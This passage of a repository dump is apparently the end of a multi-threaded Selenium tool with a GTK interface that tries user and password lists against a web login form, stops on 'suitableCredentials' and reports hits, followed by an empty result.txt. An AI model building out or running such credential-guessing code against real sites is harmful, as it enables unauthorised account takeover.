| try: 545 | WebDriverWait(page, opTimeout).until( 546 | lambda el: el.find_element_by_xpath(failAuth).is_displayed(), 547 | '%s - Thread #%d, Can\'t find auth fields! Possible connection problem.' % 548 | (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance)) 549 | except: 550 | pass 551 | if suitableCredentials != {}: 552 | break 553 | self.threads[instance] = None 554 | self.Reporting(instance, result, suitableCredentials, users, passwords, datetime.now() - startTime) 555 | except: 556 | traceback.print_exc() 557 | return 1 558 | return 0 559 | 560 | builder = Gtk.Builder() 561 | builder.add_from_file("gui.glade") 562 | builder.connect_signals(Handler()) 563 | 564 | window = builder.get_object("window1") 565 | window.show_all() 566 | 567 | Gtk.main() 568 | -------------------------------------------------------------------------------- /result.txt: -------------------------------------------------------------------------------- 1 | Result.txt 2 | --------------------------------------------------------------------------------